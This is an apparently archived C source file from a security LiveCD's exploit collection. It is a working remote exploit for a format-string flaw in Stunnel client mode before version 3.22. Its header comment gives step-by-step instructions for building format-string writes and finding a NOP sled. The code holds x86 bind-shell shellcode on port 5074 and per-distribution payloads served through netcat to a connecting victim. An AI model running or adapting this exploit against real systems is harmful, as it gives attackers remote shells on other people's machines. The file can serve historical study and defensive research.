home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / vpn / stunnel / w00nf-stunnel.c < prev   
C/C++ Source or Header  |  2005-02-12  |  19KB  |  381 lines

  1. /*
  2.  * Stunnel < 3.22 remote exploit
  3.  * by ^sq/w00nf - deltha [at] analog.ro
  4.  * Contact: deltha@analog.ro
  5.  * Webpage: http://www.w00nf.org/^sq/
  6.  *
  7.  * ey ./w00nf-stunnel contribs - kewlthanx :
  8.  * nesectio, wsxz, soletario, spacewalker, robin, luckyboy, hash, nobody, ac1d, and not @ the end: bajkero
  9.  *
  10.  * You also need netcat and format strings build utility (from my webpage)
  11.  * Compile: gcc -w -o w00nf-stunnel w00nf-stunnel.c
  12.  *
  13.  *   .   .  .. ......................................... ...
  14.  *  .                         ____  ____        _____        :.:.:
  15.  *  :               _      __/ __ \/ __ \____  / __/           :..
  16.  *  :..            | | /| / / / / / / / / __ \/ /_               :
  17.  *  ..:..          | |/ |/ / /_/ / /_/ / / / / __/               :
  18.  *  :.: :..        |__/|__/\____/\____/_/ /_/_/                  .
  19.  *  : :   :..
  20.  *  :.: :............................................... ..  .   . 
  21.  *                           T . E . A . M      
  22.  * 
  23.  * POC - Tested remotely on linux 
  24.  * Stunnel is a program that allows you to encrypt arbitrary TCP connections inside SSL 
  25.  * Visit http://www.stunnel.org for details
  26.  *
  27.  * I didn't add a search function or bruteforce attack because the vulnerability does'nt allow you
  28.  * to grab the remote stack.
  29.  *
  30.  * Description of this exploit:
  31.  * This exploit puts a payload on a specified port. When a remote user connects to your machine 
  32.  * using stunnel on the specified port, the exploit executes this payload and binds a shell to the
  33.  * remote users machine on port 5074.
  34.  * 
  35.  * Summary: 
  36.  * Malicious servers could potentially run code as the owner of an Stunnel process when using 
  37.  * Stunnel's protocol negotiation feature in client mode. 
  38.  *
  39.  * Description of vulnerability: 
  40.  * Stunnel is an SSL wrapper able to act as an SSL client or server, 
  41.  * enabling non-SSL aware applications and servers to utilize SSL encryption. 
  42.  * In addition, Stunnel has the ability to perform as simple SSL encryption/decryption 
  43.  * engine. Stunnel can negotiate SSL with several other protocols, such as 
  44.  * SMTP's "STARTTLS" option, using the '-n protocolname' flag. Doing so 
  45.  * requires that Stunnel watches the initial protocol handshake before 
  46.  * beginning the SSL session. 
  47.  * There are format string bugs in each of the smtp, pop, and nntp 
  48.  * client negotiations as supplied with Stunnel versions 3.3 up to 3.21c. 
  49.  *
  50.  * No exploit is currently known, but the bugs are most likely exploitable. 
  51.  * 
  52.  * Impact: 
  53.  * If you use Stunnel with the '-n smtp', '-n pop', '-n nntp' options 
  54.  * in client mode ('-c'), a malicous server could abuse the format 
  55.  * string bug to run arbitrary code as the owner of the Stunnel 
  56.  * process. The user that runs Stunnel depends on how you start 
  57.  * Stunnel. It may or may not be root -- you will need to check 
  58.  * how you invoke Stunnel to be sure. 
  59.  * There is no vulnerability unless you are invoking Stunnel with 
  60.  * the '-n smtp', '-n pop', or '-n nntp' options in client mode. 
  61.  * There are no format string bugs in Stunnel when it is running as an SSL 
  62.  * server. 
  63.  *
  64.  * Mitigating factors: 
  65.  * If you start Stunnel as root but have it change userid to some other 
  66.  * user using the '-s username' option, the Stunnel process will be 
  67.  * running as 'username' instead of root when this bug is triggered. 
  68.  * If this is the case, the attacker can still trick your Stunnel process 
  69.  * into running code as 'username', but not as root. 
  70.  * Where possible, we suggest running Stunnel as a non-root user, either 
  71.  * using the '-s' option or starting it as a non-privileged user. 
  72.  *
  73.  * Triggering this vulnerability - example for kidz:
  74.  * Obtain a shell account on to-be-hacked's server and perform the following commands:
  75.  * sq@cal013102: whereis stunnel
  76.  * stunnel: /usr/sbin/stunnel
  77.  * change directory to where is stunnel
  78.  * Obtain vsnprintf's R_386_JUMP_SLOT:
  79.  * sq@cal013102:~/stunnel-3.20$ /usr/bin/objdump --dynamic-reloc ./stunnel |grep printf
  80.  * 08053470 R_386_JUMP_SLOT   fprintf
  81.  * ---->080534a8 R_386_JUMP_SLOT   vsnprintf
  82.  * 080535a4 R_386_JUMP_SLOT   snprintf
  83.  * 08053620 R_386_JUMP_SLOT   sprintf
  84.  * open 2 terminals
  85.  * in the first terminal make netcat connect to a port (eg 252525)
  86.  * sq@cal013102:~/stunnel-3.20$ nc -p 252525 -l 
  87.  * in the second terminal (remote) simulate attack 
  88.  * ./stunnel -c -n smtp -r localhost:252525
  89.  * in the first terminal with nc insert a specially crafted string to grep eatstack value
  90.  * AAAABBBB%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|
  91.  * in the second terminal (remote) it will return the stack values and see at which position 
  92.  * 41414141 and 424242 appeared
  93.  * AAAABBBB|bffff868|bffffb60|bffffece|bffffed3|80503ae|40275580|4016bfc4|
  94.  * 4027f3c4|41414141|42424242|257c7825|78257c78|7c78257c|
  95.  * 257c7825|78257c78|7c78257c| ->414141=9 and 424242=10
  96.  * try again with to see if eatstack value is 9 AAAABBBB%9$x%10$x and it will return AAAABBBB4141414142424242
  97.  * put the address obtained with objdump in hex little endian format \xa8\x34\x05\x08 and last value +2 \xaa\x34\x05\x08
  98.  * (a8+2=aa) and generate the decimal value of format string after you got the middle of nops value on stack 0xbffff89b
  99.  * with build, a program attached to this exploit.
  100.  * ./build 080534a8 0xbffff89b 9
  101.  * adr : 134558888 (80534a8)
  102.  * val : -1073743717 (bffff89b)
  103.  * valh: 49151 (bfff)
  104.  * vall: 63643 (f89b)
  105.  * [¬¿%.49143x%9$hn%.14492x%10$hn] (35)
  106.  * ¬¿%.49143x%9$hn%.14492x%10$hn
  107.  * The resulting string is %.49143x%9$hn%.14492x%10$hn -> 
  108.  * "'`%.32759u%9\$hn%.32197u%10\$hn replace eatstack 10 with 9 otherwise it won't work
  109.  * eg "'`%.32759u%10\$hn%.32197u%9\$hn
  110.  * Put the payload in a file echo `perl -e 'print "\xc4\x35\x05\x08\xc6\x35\x05\x08"'`%.32759u%10\$hn%.32197u%9\$hn > x
  111.  * Bind the payload to a port ./netcat -p 252525 -l <x
  112.  * Simulate the payload attack ./stunnel -c -n smtp -r localhost:252525
  113.  * Add your own crafted format in the exploit:
  114.  * char fmtDEBIAN30[]="\xa8\x34\x05\x08\xaa\x34\x05\x08%.49143x%10\$hn%.14492x%9\$hn"; 080534a8 vsnprintf
  115.  * char fmtYOUROWN[]="";   R_386_JUMP_SLOT  vsnprintf 
  116.  * Simulate the payload attack with this exploit ./w00nf-stunnel -t 6 -p 252525 t6 would be your custom payload
  117.  * after you added your string in the exploit.
  118.  * If stunnel was compiled with gdb support and you set ulimit -c 9024 or whatever to coredump on your terminal
  119.  * then stunnel will coredump if you didn't guess the exact stackvalue in the middle of nops.
  120.  * If stunnel wasn't compiled with gdb support then download it from the stunnel website
  121.  * and compile with gdb support. 
  122.  * Once you have downloaded it run './configure edit Makefile' , and where you see 'CFLAGS' add '-g -ggdb3'
  123.  * eg. 'cat Makefile |grep CFLAGS'
  124.  * CFLAGS=-g -ggdb3 -O2 -Wall -I/usr/local/ssl/include  -DVERSION=\"3.20\" -DHAVE_OPENSSL=1 -Dssldir=\"/usr/local/ssl\"
  125.  * -DPEM_DIR=\"\" -DRANDOM_FILE=\"/dev/urandom\" -DSSLLIB_CS=0 -DHOST=\"i586-pc-linux-gnu\" -DHAVE_LIBDL=1  
  126.  * DHAVE_LIBPTHREAD=1 -DHAVE_LIBUTIL=1 -DHAVE_LIBWRAP=1 etcetc
  127.  * Open core in gdb sq@cal013102:~/stunnel-3.20$gdb ./stunnel core.2411
  128.  * x/10i $esp and press enter a couple of times till you find 'nop nop nop nop nop nop'.
  129.  * Get the stack address in the middle of nops, 0xbffff89b is my address
  130.  * and build (9 is eatstack) again with the ./build utility
  131.  * Rebuild and repeat.
  132.  * ./build 080534a8 0xbffff89b 9
  133.  * Put the payload in a file echo `perl -e 'print "\xc4\x35\x05\x08\xc6\x35\x05\x08"'`%.32759u%10\$hn%.32197u%9\$hn > x
  134.  * ./w00nf-stunnel -t 6 -p 252525 t6 is your custom payload and it will bind a shell on 5074 :)
  135.  * If it worked then add your own crafted format in the exploit
  136.  * char fmtDEBIAN30[]="\xa8\x34\x05\x08\xaa\x34\x05\x08%.49143x%10\$hn%.14492x%9\$hn";  080534a8 vsnprintf
  137.  * char fmtYOUROWN[]="\xa8\x34\x05\x08\xaa\x34\x05\x08%.49143x%10\$hn%.14492x%9\$hn";   R_386_JUMP_SLOT  vsnprintf 
  138.  *
  139.  */
  140.  
  141. #include <fcntl.h>
  142. #include <netdb.h>
  143. #include <sys/stat.h>
  144. #include <sys/types.h>
  145. #include <unistd.h>
  146. #include <stdio.h>
  147. #include <string.h>
  148. #include <getopt.h>
  149. #include <stdlib.h>
  150. #include <memory.h>
  151. #include <errno.h>
  152. #include <syslog.h>
  153.  
  154. int MAX;
  155. char linuxshellcode[] =
  156.                                         /*   <priv8security>: bind@5074 */
  157.     "\x90\x90\x90\x90\x90"          /*   nop                    */
  158.     "\x90\x90\x90\x90\x90"          /*   nop                */
  159.     "\x90\x90\x90\x90\x90"          /*   nop                    */
  160.     "\x90\x90\x90\x90\x90"          /*   nop                    */
  161.     "\x90\x90\x90\x90\x90"          /*   nop                    */
  162.     "\x90\x90\x90\x90\x90"          /*   nop                    */
  163.     "\x90\x90\x90\x90\x90"          /*   nop                    */
  164.     "\x90\x90\x90\x90\x90"          /*   nop                    */
  165.     "\x90\x90\x90\x90\x90"          /*   nop                    */
  166.     "\x90\x90\x90\x90\x90"          /*   nop                    */
  167.     "\x90\x90\x90\x90\x90"          /*   nop                    */
  168.     "\x90\x90\x90\x90\x90"          /*   nop                    */
  169.     "\x90\x90\x90\x90\x90"          /*   nop                    */
  170.     "\x90\x90\x90\x90\x90"          /*   nop                    */
  171.     "\x90\x90\x90\x90\x90\x90"         /*   nop                    */
  172.         "\x31\xc0"                      /*   xor    %eax,%eax           */
  173.         "\x50"                          /*   push   %eax                */
  174.         "\x40"                          /*   inc    %eax                */
  175.         "\x89\xc3"                      /*   mov    %eax,%ebx           */
  176.         "\x50"                          /*   push   %eax                */
  177.         "\x40"                          /*   inc    %eax                */
  178.         "\x50"                          /*   push   %eax                */
  179.         "\x89\xe1"                      /*   mov    %esp,%ecx           */
  180.         "\xb0\x66"                      /*   mov    $0x66,%al           */
  181.         "\xcd\x80"                      /*   int    $0x80               */
  182.         "\x31\xd2"                      /*   xor    %edx,%edx           */
  183.         "\x52"                          /*   push   %edx                */
  184.         "\x66\x68\x13\xd2"              /*   pushw  $0xd213             */
  185.         "\x43"                          /*   inc    %ebx                */
  186.         "\x66\x53"                      /*   push   %bx                 */
  187.         "\x89\xe1"                      /*   mov    %esp,%ecx           */
  188.         "\x6a\x10"                      /*   push   $0x10               */
  189.         "\x51"                          /*   push   %ecx                */
  190.         "\x50"                          /*   push   %eax                */
  191.         "\x89\xe1"                      /*   mov    %esp,%ecx           */
  192.         "\xb0\x66"                      /*   mov    $0x66,%al           */
  193.         "\xcd\x80"                      /*   int    $0x80               */
  194.         "\x40"                          /*   inc    %eax                */
  195.         "\x89\x44\x24\x04"              /*   mov    %eax,0x4(%esp,1)    */
  196.         "\x43"                          /*   inc    %ebx                */
  197.         "\x43"                          /*   inc    %ebx                */
  198.         "\xb0\x66"                      /*   mov    $0x66,%al           */
  199.         "\xcd\x80"                      /*   int    $0x80               */
  200.         "\x83\xc4\x0c"                  /*   add    $0xc,%esp           */
  201.         "\x52"                          /*   push   %edx                */
  202.         "\x52"                          /*   push   %edx                */
  203.         "\x43"                          /*   inc    %ebx                */
  204.         "\xb0\x66"                      /*   mov    $0x66,%al           */
  205.         "\xcd\x80"                      /*   int    $0x80               */
  206.         "\x93"                          /*   xchg   %eax,%ebx           */
  207.         "\x89\xd1"                      /*   mov    %edx,%ecx           */
  208.         "\xb0\x3f"                      /*   mov    $0x3f,%al           */
  209.         "\xcd\x80"                      /*   int    $0x80               */
  210.         "\x41"                          /*   inc    %ecx                */
  211.         "\x80\xf9\x03"                  /*   cmp    $0x3,%cl            */
  212.         "\x75\xf6"                      /*   jne    80a035d <priv8security+0x3d>        */
  213.         "\x52"                          /*   push   %edx                */
  214.         "\x68\x6e\x2f\x73\x68"          /*   push   $0x68732f6e         */
  215.         "\x68\x2f\x2f\x62\x69"          /*   push   $0x69622f2f         */
  216.         "\x89\xe3"                      /*   mov    %esp,%ebx           */
  217.         "\x52"                          /*   push   %edx                */
  218.         "\x53"                          /*   push   %ebx                */
  219.         "\x89\xe1"                      /*   mov    %esp,%ecx           */
  220.         "\xb0\x0b"                      /*   mov    $0xb,%al            */
  221.         "\xcd\x80";                     /*   int    $0x80               */
  222.  
  223. char fmtRH72[]="\x50\x71\x05\x08\x52\x71\x05\x08%.49143x%4\$hn%.12881x%3\$hn"; /* 08057150 R_386_JUMP_SLOT   vsnprintf */
  224. char fmtRH73[]="\xe8\x69\x05\x08\xea\x69\x05\x08%.49143x%4\$hn%.12982x%3\$hn"; /* 080569e8 R_386_JUMP_SLOT   vsnprintf */
  225. char fmtRH80[]="\x28\x69\x05\x08\x2a\x69\x05\x08%.49143x%4\$hn%.12815x%3\$hn"; /* 08056928 R_386_JUMP_SLOT   vsprintf */
  226. char fmtMDK90[]="\xf8\x23\x05\x08\xfa\x23\x05\x08%.49143x%4\$hn%.13321x%3\$hn"; /* 080523f8 R_386_JUMP_SLOT   vsnprintf */
  227. char fmtSLACK81[]="\xdc\x69\x05\x08\xde\x69\x05\x08%.49143x%10\$hn%.12082x%9\$hn"; /* 080569dc R_386_JUMP_SLOT  vsnprintf */
  228. char fmtDEBIAN30[]="\xa8\x34\x05\x08\xaa\x34\x05\x08%.49143x%10\$hn%.14492x%9\$hn"; /* 080534a8 R_386_JUMP_SLOT  vsnprintf */
  229. char fmtYOUROWN[]=""; /*  R_386_JUMP_SLOT  vsnprintf */
  230.         
  231. char    c;
  232. struct  os {
  233.     int num;
  234.     char *ost;
  235.     char *shellcode;
  236.     char *format;
  237.     int flag;
  238. };
  239.  
  240. struct os plat[] =
  241. {
  242.     {
  243.         0,"Red Hat Linux release 7.2 stunnel-3.20.tar.gz",
  244.         linuxshellcode,fmtRH72,11
  245.     },
  246.     {
  247.         1,"Red Hat Linux release 7.3 stunnel-3.20.tar.gz",
  248.         linuxshellcode,fmtRH73,11
  249.     },
  250.     {
  251.         2,"Red Hat Linux release 8.0 stunnel-3.20.tar.gz",
  252.         linuxshellcode,fmtRH80,11
  253.     },
  254.     {
  255.         3,"Mandrake Linux release 9.0 stunnel-3.20.tar.gz",
  256.         linuxshellcode,fmtMDK90,11
  257.     },
  258.     {
  259.         4,"Slackware Linux release 8.1 stunnel-3.20.tar.gz",
  260.         linuxshellcode,fmtSLACK81,5
  261.     },
  262.     {
  263.         5,"Debian GNU release 3.0 stunnel-3.20.tar.bz2",
  264.         linuxshellcode,fmtDEBIAN30,5
  265.     },
  266.     {
  267.         6,"Your custom distro stunnel-3.20.tar.bz2",
  268.         linuxshellcode,fmtYOUROWN,5
  269.     }
  270.     
  271. };
  272.  
  273. void usage(char *argument);
  274. int main(argc,argv)
  275.     int argc;
  276.     char *argv[];
  277. {
  278.  
  279. int type=0;
  280. int flag=plat[type].flag;
  281. extern char *optarg;
  282. int cnt;
  283. char    newstring[300];
  284. int     port = 994;
  285. const char* sploitdata_filename = "sploitdata.spl";     
  286. static        int fd[2];
  287. static        pid_t childpid;
  288. static        char str_port[6];
  289.  
  290. void write_sploit_data (char* entry)
  291.     {
  292.     int fd = open (sploitdata_filename, O_WRONLY | O_CREAT | O_APPEND, 0660);
  293.     write (fd, entry, strlen (entry));
  294.     write (fd, "\n", 1);
  295.     fsync (fd);
  296.     close (fd);
  297.     }
  298.       if(argc == 1) 
  299.                     usage(argv[0]);
  300.       if(argc == 2) 
  301.                     usage(argv[0]);
  302.       if(argc == 3) 
  303.                     usage(argv[0]);
  304.         while ((c = getopt(argc, argv, "h:p:t:v")) > 0 ){
  305.                 switch (c) {
  306.                 case 't':
  307.                         type = atoi(optarg);
  308.                         if(type>6) /* 0,1,2,3,4,5,6 */
  309.                         {
  310.                         (void)usage(argv[0]);
  311.                         }
  312.                         break;
  313.                 case 'p':
  314.                         port = atoi(optarg);
  315.                         break;
  316.                 case 'h':
  317.                         usage(argv[0]);
  318.                 case '?':
  319.                 case ':':
  320.                         exit(-1);
  321.                 }
  322.         }
  323.         MAX=strlen(plat[type].format)+strlen(plat[type].shellcode);
  324.         fprintf(stdout,"Remote exploit for STUNNEL <3.22\nby ^sq/w00nf - deltha [at] analog.ro\n");
  325.         fprintf(stdout,"[*] target: %s\n",plat[type].ost);
  326.         fprintf(stdout,"[*] maxlenght: %d\n", MAX);
  327.         unlink (sploitdata_filename);
  328.         strcpy(newstring, plat[type].format);
  329.         strcat(newstring, plat[type].shellcode);
  330.         write_sploit_data(newstring);
  331.         sprintf((char *) &str_port, "%d", port);
  332.         printf("[*] host: localhost\n");
  333.         printf("[*] port: %s\n", str_port);             
  334.         printf("[*] waiting: jackass should connect to our port\n");
  335.         printf("[*] next: after he connects press ctrl-c\n");       
  336.         printf("[*] next: you should try to connect to his port 5074 - nc 1.2.3.4 5074\n");               
  337.         pipe(fd);
  338.         if (( childpid=fork())==0) { /* cat is the child */
  339.                 dup2(fd[1],STDOUT_FILENO);
  340.                 close(fd[0]);
  341.                 close(fd[1]);
  342.                 execl("/bin/cat","cat",sploitdata_filename,NULL);
  343.                 perror("The exec of cat failed");
  344.         } else {                      /* netcat is the parent */
  345.  
  346.                 dup2(fd[0], STDIN_FILENO);
  347.                 close(fd[0]);
  348.                 close(fd[1]);
  349.                 execl("/usr/bin/nc", "nc", "-n", "-l", "-p", str_port, NULL);
  350.                 perror("the exec of nc failed");
  351.         }
  352.         printf("[*] next: now you should try to connect to his port 5074\n");               
  353.         exit(0);
  354. }
  355.  
  356. void usage(char *argument)
  357. {
  358.     fprintf(stdout,"Usage: %s -options arguments\n",argument);
  359.     fprintf(stdout,"Remote exploit for STUNNEL <3.22\n"
  360.     "by ^sq/w00nf - deltha [at] analog.ro\nUsage: %s [-p <port> -t <targettype>]\n"
  361.     "\t-p <port> - Local binded port where the remote stunnel connects\n"
  362.     "\t-t <target> - Target type number\n", argument);
  363.         fprintf(stdout,"\t-Target Type Number List-\n");
  364.     fprintf(stdout," {0} Red Hat Linux release 7.2 "
  365.         " stunnel-3.20.tar.gz\n");
  366.     fprintf(stdout," {1} Red Hat Linux release 7.3 "
  367.         " stunnel-3.20.tar.gz\n");
  368.     fprintf(stdout," {2} Red Hat Linux release 8.0 "
  369.         " stunnel-3.20.tar.gz\n");
  370.     fprintf(stdout," {3} Mandrake Linux release 9.0 "
  371.         " stunnel-3.20.tar.gz\n");
  372.     fprintf(stdout," {4} Slackware Linux release 8.1 "
  373.         " stunnel-3.20.tar.gz\n");
  374.     fprintf(stdout," {5} Debian GNU release 3.0 "
  375.         " stunnel-3.20.tar.gz\n");
  376.     fprintf(stdout," {6} Your custom distro "
  377.         " stunnel-3.20.tar.gz\n");
  378.     fprintf(stdout," Example1: %s -t 1 -p 252525\n",argument);
  379.     exit(0);
  380. }
  381.